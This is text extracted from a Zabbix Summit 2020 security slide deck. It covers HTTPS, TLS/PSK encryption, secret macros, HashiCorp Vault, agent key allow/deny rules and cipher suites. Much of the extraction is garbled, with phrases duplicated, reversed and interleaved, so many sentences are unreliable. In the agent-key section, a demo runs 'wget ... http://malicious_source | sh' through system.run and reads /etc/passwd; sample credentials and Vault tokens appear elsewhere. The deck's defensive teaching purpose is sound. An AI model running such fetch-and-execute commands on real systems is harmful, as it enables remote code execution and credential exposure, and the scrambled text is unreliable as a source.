KEEP ALL SECRETS ENCRYPTED & SECURE
Kaspars Mednis Chief trainer
Aleksandrs Petrovs-Gavrilovs Security expert 01
INTRODUCTION ZABBIX SUMMIT ONLINE / 2020 ? SECURE
Collected data may contain sensitive sensitive containinformation may data Collected Zabbix by executed can be Remote commands Zabbix configuration contains credentials other systemsaccess toused credentials containsconfiguration Zabbix
WHY ZABBIXWHY NEEDS TO BE protected from any risks possible. risks possible. from any protected This may relate to anything, your environment, data, or anything that should be be should that or anything environment, your data, to anything, relate This may To be secure means to “avoid being harmed by any risk, risk, or threat.” anydanger, harmed by being “avoid be secure toTo means ZABBIX SUMMIT ONLINE / 2020 Zabbix Agents Zabbix utilities Proxies Commandline Zabbix Database HTTPS MD5 user MD5 user passwords Zabbix Web Web interface OF SECURITY OF 2.0
User
permissions
ZABBIX EVOLUTION ZABBIX SUMMIT ONLINE / 2020 Zabbix Agents Zabbix utilities Proxies Commandline Zabbix Database HTTPS MD5 user MD5 user passwords Zabbix Web Web interface OF SECURITY OF 3.0
User
permissions
ZABBIX EVOLUTION ZABBIX SUMMIT ONLINE / 2020 Zabbix Agents Agent key restrictions key Agent Zabbix utilities Proxies Commandline Zabbix Database HTTPS passwords bcrypt user bcrypt Zabbix Web Web interface OF SECURITY OF 5.0
User
permissions
ZABBIX EVOLUTION ZABBIX SUMMIT ONLINE / 2020 Zabbix Agents Agent key restrictions key Agent Zabbix utilities Proxies Commandline Vault Zabbix Database HashiCorp HTTPS passwords bcrypt user bcrypt Zabbix Web Web interface OF SECURITY OF 5.2
Granular permissions
ZABBIX EVOLUTION 02
ZABBIX FRONTEND ZABBIX SUMMIT ONLINE / 2020 user=Admin pass=qazswe HTTP WEB CONNECTIONSWEB
Zabbix Web Web interface
Sensitive information may be intercepted be Sensitive may information other All configuration is under security risk Zabbix frontend is accessed usingfrontend insecure is accessed communication channels Zabbix INSECURE ZABBIX SUMMIT ONLINE / 2020 YOU ? PROTECTS
Additionally, the identity of web server can be be verified can server of web the identity Additionally, Server Server web browser, sends public key to which encryption it for uses information the server decrypt key toOnly private has Server has both public and private keys private public Server both and has HOW HTTPS HTTPS HOW ZABBIX SUMMIT ONLINE / 2020 !?!?!?!?! HTTPS WEB CONNECTIONSWEB
Zabbix Web Web interface
Information still may be intercepted, but it is unreadable be butintercepted, still may Information methodsbefore up other security settingstep First Traffic protocolHTTPS usingis encrypted Traffic SECURE 03
ZABBIX USERS ZABBIX SUMMIT ONLINE / 2020
USER USER TYPES
can see collected data can see collected can create hosts / templates hostscan create dashboards / maps can create unlimited unlimited access Zabbix User Zabbix Zabbix Admin Admin Zabbix Zabbix Super Admin Zabbix • • • Zabbix security is based on user is based onsecurity types Zabbix ZABBIX ZABBIX ZABBIX SUMMIT ONLINE / 2020 Super Admin FULL FULL FULL FULL HostB group HostA group HostD group HostC group RW RO RO RO RW RW USER USER GROUPS
Zabbix permissions permissions user based group are hostand group Zabbix Users Admins Admins ZABBIX ZABBIX ZABBIX SUMMIT ONLINE / 2020 check check hash force, not feasible for hardware acceleration for hardware feasible notforce, rehash if needed if rehash - PASSWORD
on password change or on first login change or first on on password more resistant to brute to resistant more uses unique salt value to protect against rainbow table attacksrainbow table against uses protect value to unique salt • • • If Zabbix is upgraded, password rehashes automatically to useto bcrypt rehashes automatically password is upgraded, If Zabbix Passwords are stored using bcrypt algorithm algorithm using bcrypt are stored Passwords Default Admin username and password must be changed be must password username and Admin Default USERNAME USERNAME AND ZABBIX SUMMIT ONLINE / 2020 LDAP AUTHENTICATION
Different authentication methods can be mixed can be methods authenticationDifferent External authentication can be used to manage users manage tocan be used authentication External EXTERNAL 04
INTERNAL COMMUNICATIONS ZABBIX SUMMIT ONLINE / 2020 zabbix_get utilities Zabbix Agent Commandline zabbix_sender Zabbix Proxy Zabbix Server ENCRYPTION IN -
Protects communication between Zabbix components Zabbix between Protects communication Zabbix commandline utilities Zabbix Zabbix Server and Zabbix Proxy Server Zabbix and Zabbix agent Zabbix andServer/Proxy Zabbix
• • • Zabbix
Agent BUILT ZABBIX SUMMIT ONLINE / 2020 TYPES in encryptionsupports -
shared keys keys (PSK)shared -
If encryption is used, the configuration tab is highlighted tab used, If configuration encryption is the For incoming connections multiple types can be specified at once at specified be can types multiple incoming connections For Zabbix built Zabbix Certificates Pre • • ENCRYPTION ZABBIX SUMMIT ONLINE / 2020 ? PSK OR up -
Symmetric encryption Symmetric set Easier to Certificate revocation lists (CRL) can be used be can (CRL) lists revocation Certificate Issuer Subject specifying and restricted by be Can Asymmetric encryption Asymmetric authentication Provides identity
CERTIFICATES CERTIFICATES
PSK Certificates ZABBIX SUMMIT ONLINE / 2020 250 - 306825.6 130117.0 44439.9 sign/s verify/s 17370.6 9055.7 1114.4 verify 0.000003s 0.000008s 0.000023s sign KEY SIZE KEY 512 bits 0.000058s 512 bits 2048 bits 0.000897s 2048 bits 1024 bits 0.000110s 1024 bits openssl speed rsa512 rsa1024 rsa2048 rsa512 rsa1024 openssl speed
rsa # rsa rsa
A simple openssl speed test may show estimated performance estimated show may test speed openssl simple A Bigger keys offer stronger encryption but require require stronger CPU but more encryption keys offer Bigger power RSA 2048 keys are current industry standard and considered "unbreakable" considered and standard are currentkeys industry 2048 RSA is known cracked RSA publicly be to RSA key largest the As of 2020 • • ENCRYPTION ZABBIX SUMMIT ONLINE / 2020 psk Agent utilities Zabbix Commandline psk CAN BE CAN USED unencrypted Proxy Zabbix certificates Zabbix Server ENCRYPTION METHODS Local Network Local unencrypted
Agent Zabbix unencrypted based onbased requirements Protectedconnections be left may Connectionsuse may different methods DIFFERENT DIFFERENT ZABBIX SUMMIT ONLINE / 2020 Agent Zabbix psk registration option registration - Proxy Zabbix encrypted Zabbix Server psk
Agent Zabbix If autoregistration is done through proxy, protect proxy communication proxy protect throughproxy, is done If autoregistration The PSK key is defined in Zabbix administrative section and hidden section and administrative is in Zabbix The defined key PSK encrypted is already attempt autoregistrationThe initial Zabbix 5.0 introduced secure active agent auto secure agent 5.0 introduced active Zabbix SECURE SECURE AUTOREGISTRATION ZABBIX SUMMIT ONLINE / 2020 unencrypted,psk
### Option: TLSAccept ### Option: # What incoming connections to accept. connections # What incoming by comma: separated can be specified, # Multiple values TLSAccept= # While communication is secured, is secured, While communication allowed is also unencrypted May put environment putrisk at May ALLOWING ENCRYPTED AND UNENCRYPTED ZABBIX SUMMIT ONLINE / 2020 Zabbix frontend Zabbix TLS Database TLS
Zabbix server Zabbix
Certificates are used for are used thesecuring connectionCertificates for following DB engines Supported Starting from version 5.0 Zabbix DB connection can be encrypted connectionbe DB can from version Zabbix 5.0 Starting MySQL PostgreSQL • • ZABBIX DATABASE DATABASE ZABBIX CONNECTION ZABBIX SUMMIT ONLINE / 2020 Database TLS Verify CA Verify Verify DB identity Verify connect using TLS using connect certificate verify and TLS using connect certificate matches identity database that verify also - - - Zabbix server Zabbix DBTLSConnect verify_ca verify_full
# # ### Option: ### Option: to database. TLS connection use enforces to this option # Setting # required SERVER SERVER CONFIGURATION FILE 05
SECRET USER MACROS ZABBIX SUMMIT ONLINE / 2020
Hmm.... User macro content can be seen by Admin user with access to the host the touser seen with access Admin be contentUser macro can by UNSAFE USER MACROS ZABBIX SUMMIT ONLINE / 2020
Wow Wow !!! Global and template macros can also be seen be also can macros template Global and UNSAFE GLOBAL USER MACROS ZABBIX SUMMIT ONLINE / 2020 secret macros secret -
It is not cloned together with Host / Template / with Host together cloned It is not It is not used on test forms test onIt is notused • • Value of the secret will secret of the never macro Value be displayed Zabbix 5.0 offers 5.0 offers new feature Zabbix SECRET SECRET MACROS ZABBIX SUMMIT ONLINE / 2020 SELECT * FROM .... * SELECT Database TLS
{$MACROS} Database connection must be secured connectionbe must Database can be stolen backup Database Secret macros are still stored into database tables database into still stored macros are Secret SECRET SECRET VULNERABILITIES MACRO ZABBIX SUMMIT ONLINE / 2020 Vault Zabbix Server
A secure the vaultA secure tokenaccess is used to secured be with TLS Connectionvault must to HashiCorp vault can be used as storage for secrets as storage used vault be can HashiCorp EXTERNAL EXTERNAL VAULT ZABBIX SUMMIT ONLINE / 2020
Initially vault is sealed and must be unsealed unsealed unseal keys be using must and sealed Initially vault is Vault provides a unified interface to any secret, secret, while tight providing anyunified interface to provides a Vault log audit a detailed recording and controlaccess Vault is a tool for securely suchtool secrets, passwords for securely a is as accessing Vault WHAT IS A IS WHAT VAULT ? ZABBIX SUMMIT ONLINE / 2020 Token using a 'secrets_reload' command a 'secrets_reload' using Stored secrets Zabbix Server
It is possible to refresh values to refresh It is possible The values of secrets are retrieved on every Zabbix configuration updateconfiguration The retrieved of secrets are values every onZabbix cacheconfiguration in stored are Zabbix Secrets Once the vault is unsealed, Zabbix uses access token to authenticate token usesto access unsealed, Once theZabbix is vault HOW ZABBIX ACCESSES ACCESSES ZABBIX HOW THE VAULT ? ZABBIX SUMMIT ONLINE / 2020 wide CA certificates directory directory certificates CA wide - is not specified. SSLCALocation VaultDBPath VaultToken VaultURL =secret/zabbix/database =s.4LYyfMekAlZafHwQj15WkTmP will be used if will be used if and 'username'. by keys 'password' exclusively for Zabbix server with read only permission with read only server Zabbix for exclusively =https://vault:8200
Zabbix Server Server optionsnew hasconfiguration Zabbix
# # VaultDBPath VaultURL ### Option: be retrieved database will for credentials path from where # Vault ### Option: URL. System server HTTP[S] # Vault # ### Option: ### Option: generated been have should token that authentication # Vault # VaultToken STORING STORING VAULTTHE CONFIGURATION ZABBIX SUMMIT ONLINE / 2020 DBPassword =P455w0RD ### Option: DBPassword versus zabbix_server.conf VaultToken =LYyfMekAlZafHwQj15WkTmP
Configuration files from otherusers OS be files protected mustConfiguration Vault parameters are still stored in plain text in configuration file in configurationin text are still stored plain parameters Vault
VaultToken ### Option: STORING STORING TOKEN SECURELY ZABBIX SUMMIT ONLINE / 2020 LYyfMekAlZafHwQj15WkTmP =
VAULT_TOKEN In such setup Vault token is not defined in Zabbix configuration files configuration in Zabbix token is notdefined In suchVault setup server start Environment will variable Zabbix unsetonbe Token can be set as a "VAULT_TOKEN" environment variable "VAULT_TOKEN" a Token as set can be
export STORING STORING TOKEN SECURELY ZABBIX SUMMIT ONLINE / 2020
It is not possible to see the value of Vault secret from Zabbix frontend frontend Zabbix secret from see value of VaultIt is notpossible tothe In Zabbix reference path to vault secret is specified macro value a as is specified vault secret topath reference In Zabbix A secret must be first defined in defined first mustbe Vault A secret SPECIFYING SPECIFYING VAULTTHE MACROS 06
AGENT KEY RESTRICTIONS ZABBIX SUMMIT ONLINE / 2020 /passwd] ? etc [/ nologin / sbin What we What here... have vfs.file.contents k nologin - / sbin :/ KEY RESTRICTIONS KEY RESTRICTIONS adm my.prod.host s -
Password files Password Configuration files Configuration files Log • • • zabbix_get Zabbix can collect can collect sensitive from information Zabbix noob123:x:2:2:adm:/home/noob123:/bin/bash zabbix:x:993:990:Zabbix:/var/lib/zabbix:/ # root:x:0:0:root:/root:/bin/bash adm:x:3:4:adm:/var/ WHY WE NEED NEED WE WHY ZABBIX SUMMIT ONLINE / 2020 "] | sh | - O - DANGEROUS wget wget http://malicious_source [" system.run k - Let's try thisexploit... Let's my.prod.host s -
They are disabled by default by are disabled They ! default by System runsLocal as agent Zabbix On Windows, Zabbix agent can execute remote commands on remote hosts commands remote can execute agent Zabbix
zabbix_get
# REMOTE REMOTE COMMANDS BE CAN ZABBIX SUMMIT ONLINE / 2020 l] - ipcs .*[*] AGENT KEYS vfs.file ????????? File contents... File AllowKey=system.run[ DenyKey=
If key is denied, item is reported as unsupported as is item reported denied, is If key Wildcard (*) patterns can be used in both key name and parameters and in key nameboth used be can patterns (*) Wildcard Zabbix 5.0 introduced allow / deny keys / deny allow 5.0 introduced Zabbix RESTRICTING ZABBIX SUMMIT ONLINE / 2020 /*] /*] /*] /*] myapp mydb myapp mydb rule or denied is eitherit allowed a .*[/var/log/ .*[/var/log/ .*[/var/log/ .*[/var/log/ .*[*] .*[*] vfs.file vfs.file vfs.file vfs.file vfs.file vfs.file AllowKey= AllowKey= DenyKey= DenyKey= AllowKey= AllowKey=
If "DenyKey=*" is specified in thefirst is specified list, no rules other If take effect "DenyKey=*" As soon as an item key matchesan item as As soon Rules Rules order theare checked in in which specified have been they KEY KEY ORDER 07
CUSTOM CIPHER SUITES ZABBIX SUMMIT ONLINE / 2020 256, POLY1305) 256, - SHA 1, - SHA CIPHER SUITE CIPHER A
Message hashing( Message Authentication algorithm (RSA, ECDSA, DSA) ECDSA, (RSA, algorithm Authentication ARIA) CHACHA20, RC4, (AES, algorithm Encryption Key exchange algorithm (DH, ECDH, DHE, ECDHE, PSK) ECDH, DHE, ECDHE, (DH, algorithm exchange Key • • • • that uses TLS that A cipher suite is a set of algorithms that help secure network secure help connectiona that of algorithms suite a A cipher is set WHAT IS IS WHAT ZABBIX SUMMIT ONLINE / 2020 vulnerable ) DSA , DHE, ECDHE, PSK), DHE, ECDHE, 256, POLY1305) 256, , CHACHA20, ARIA) , CHACHA20, - ECDH , RC4 SHA DH , 1 - SHA CIPHER SUITE CIPHER A
Message hashing( Message Authentication algorithm (RSA, ECDSA, ECDSA, (RSA, algorithm Authentication (AES, algorithm Encryption Key exchange algorithm ( algorithm exchange Key • • • • If the version of encryption or authentication algorithm in a cipher cipher in a suite algorithm or authentication version of encryption If the have knownvulnerabilities connection is then TLS the that uses TLS that A cipher suite is a set of algorithms that help secure network secure help connectiona that of algorithms suite a A cipher is set WHAT IS IS WHAT ZABBIX SUMMIT ONLINE / 2020 Hashing SHA384 - Encryption AES256 - LOOKS RSA RSA Authentication -
Key exchange Key ECDHE ECDHE HOW CIPHER SUITE SUITE CIPHER HOW ZABBIX SUMMIT ONLINE / 2020 line utilities line -
AND AND SUITES CIPHER
Between Zabbix Frontend and Database and Frontend Between Zabbix Between Zabbix Server Database Server and Between Zabbix Between Zabbix Server and Zabbix Agent Zabbix and Server Zabbix Between In command Between Zabbix Server and Zabbix Proxy Zabbix Server and Between Zabbix • • • • • Zabbix 5.2 offers possibility to use custom cipher cipher usesuites to custom for encryption 5.2 offers possibility Zabbix For HTTPS protocol custom ciphers ciphers protocolHTTPS can be defined For custom ZABBIX ZABBIX SUMMIT ONLINE / 2020 SHA256 - SHA256 - GCM - GCM SHA256 - - ? AES128 Legacy - AES128 AES128 - - RSA - RSA RSA - - TLS_CHACHA20_POLY1305_SHA256 TLS_AES_128_GCM_SHA256 DHE ECDHE DHE CHOOSE Strong Weak Strong Advanced Old systems may not support latest cipher cipher suiteslatest support may not systemsOld sides knownThe be cipher both tosuite must The most advanced cipher cipher suitessecure are most advanced The most
TLS_AES_128_CCM_8_SHA256 TLS_AES_128_CCM_SHA256 TLS_CHACHA20_POLY1305_SHA256 TLS_AES_128_GCM_SHA256 TLS_AES_256_GCM_SHA384 WHICH CIPHER SUITE SUITE CIPHERWHICH TO 08
DO IT IN A PROPER WAY ZABBIX SUMMIT ONLINE / 2020 Zabbix Agents Agent key restrictions key Agent Zabbix Agents Agent key restrictions key Agent Zabbix Proxies Vault Zabbix Database HashiCorp HTTPS Zabbix Web Web interface ZABBIX SUMMIT ONLINE / 2020 TRAINING TRAINING COURSE
Restricting agent keys Restricting agent user permissions Granular Securing connectionsusing psk or certificates Secret macros and Vault and macros Secret • • • Will Will cover securityoptions on anexpertlevel • Does notrequire certification existing Zabbix Recommended for experienced Zabbix users SECURITY Thank You!